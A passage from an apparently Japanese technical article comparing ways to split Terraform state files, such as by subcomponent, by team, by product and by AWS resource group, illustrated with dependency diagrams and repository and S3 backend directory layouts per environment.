frontend-team│ └── terraform.tfstate # frontendチームの状態を持つ│├── \uD83D\uDCC2 backend-team│ └── terraform.tfstate # backendチームの状態を持つ│└── \uD83D\uDCC2 sre-team └── terraform.tfstate # sreチームの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...プロダクトのサブコンポーネント別 - ★★この分割方法についてプロダクトのサブコンポーネント (例:アプリ、ネットワーク、認証/認可、監視など) 別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、サブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Things to Know Before Working With Terraform – Part 1 | EndavaTerraform organization — Part I : What if you split your components ? | by Amine Charot | Medium▶ おすすめ度についてterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。この分割方法は、後述のAWSリソースの種類グループとごっちゃになってしまう場合があるため、プロダクトのサブコンポーネントとして意識的に分割させる必要があります\uD83D\uDC4D【サブコンポーネント別】状態の依存関係図例えば、以下のサブコンポーネントに分割した状況と仮定します。application (Web3層系)auth (認証/認可系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、networkサブコンポーネントやauthサブコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロダクトのサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, APIGateway, CloudFront, EC2, ECS, EKS, RDS, S3, SNS, など)\\"] auth[\\"auth-tfstate
(IAMなど)\\"] monitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] application-..->network application-..->auth monitor-..->application end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── alb.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせてtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チーム内のサブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図以下の運用チームに分割した状況と仮定します。また、各運用チームでTerraformを変更できる管理者が相当数するため、プロダクトのサブコンポーネント別にも分割したとします。frontendチームapplicationmonitorbackendチームapplicationmonitorsreチームapplicationauthmonitornetworkここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、sreチームの管理する tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket subgraph frontend-team frontendApplication[\\"application-tfstate
(CloudFront, S3, など)\\"] frontendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph backend-team backendApplication[\\"application-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] backendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph sre-team sreApplication[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, EC2, ECS, EKS, SNS, など)\\"] auth[\\"auth-tfstate
(IAM, など)\\"] sreMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] end frontendApplication-...->network sreApplication-...->auth sreApplication-...->network backendApplication-...->auth backendApplication-...->network frontendMonitor-...->frontendApplication sreMonitor-...->sreApplication backendMonitor-...->backendApplication end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── ses.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── elasticache.tf│ ├── rds.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── alb.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、同じリポジトリで管理するとリポジトリが巨大になってしまいます。そのため、これはお勧めしません。【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # frontendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # frontendチームが管理するmonitorコンポーネントの状態を持つ│├── \uD83D\uDCC2 backend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # backendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # backendチームが管理するmonitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 sre-team ├── \uD83D\uDCC2 application │ └── terraform.tfstate # sreチームが管理するapplicationコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 auth │ └── terraform.tfstate # sreチームが管理するauthコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 monitor │ └── terraform.tfstate # sreチームが管理するmonitorコンポーネントの状態を持つ │ └── \uD83D\uDCC2 network └── terraform.tfstate # sreチームが管理するnetworkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...同じテナント内のプロダクト別この分割方法について同じテナント (例:同じAWSアカウントの同じVPC) 内に複数の小さなプロダクトがある場合、プロダクト別でtfstateファイルを分割し、中間層もこれに基づいて設計します。ここでいうプロダクトは、アプリを動かすプラットフォーム (例:EKS、ECS、AppRunner、EC2) とそれを取り巻くAWSリソースを指しています。この分割方法により、各プロダクトの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度について【同じテナント内のプロダクト】状態の依存関係図例えば、以下のプロダクトに分割した状況と仮定します。fooプロダクトbarプロダクト共有networkコンポーネント (例:VPC、Route53)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、共有networkコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 同じテナント内のプロダクト---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket foo-product[\\"foo-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network bar-product[\\"bar-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network network[\\"network-tfstate
(Route53, VPC)\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# fooプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-foo-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する ...# barプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-bar-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する ...# 共有networkコンポーネントの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-network-repository/├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── route53.tf├── vpc.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 foo-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 bar-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合同じテナント内のプロダクトの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 foo-product│ └── terraform.tfstate # fooプロダクトの状態を持つ│├── \uD83D\uDCC2 bar-product│ └── terraform.tfstate # barプロダクトの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの種類グループ別この分割方法についてAWSリソースの種類グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各AWSリソースの種類グループも管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度についてterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。特にこの分割方法は、グループ数がどんどん増えていく可能性があります\uD83D\uDE07【種類グループ別】状態の依存関係図例えば、以下の種類グループに分割した状況と仮定します。application (Webサーバー、Appサーバー系)auth (認証/認可系)datastore (DBサーバー系)cicd (CI/CD系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、networkグループやauthグループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの種類グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
例: ALB, API Gateway, CloudFront, EC2, ECS, EKS, SNS, など\\"] auth[\\"auth-tfstate
例: IAM, など\\"] cicd[\\"cicd-tfstate
例: Code3兄弟, など\\"] monitor[\\"monitor-tfstate
例: CloudWatch, など\\"] network[\\"network-tfstate
例: Route53, VPC, など\\"] datastore[\\"datastore-tfstate
例: ElastiCache, RDS, S3, など\\"] application-....->auth application-..->datastore application-...->network cicd-..->application datastore-..->network monitor-..->application monitor-..->datastore end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── alb.tf│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 cicd/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── codebuild.tf│ ├── codecommit.tf│ ├── codedeploy.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 datastore/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── rds.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから参照できるように、outputブロックを定義する ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 cicd│ └── terraform.tfstate # cicdコンポーネントの状態を持つ│├── \uD83D\uDCC2 datastore│ └── terraform.tfstate # datastoreコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの状態の変更頻度グループ別この分割方法についてAWSリソースの状態の変更頻度グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各変更頻度グループの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。https://www.reddit.com/r/Terraform/comments/126jwa1/comment/jea9bjk/?utm_source=share&utm_medium=web3x&utm_name=web3xcss&utm_term=1&utm_content=share_button▶ 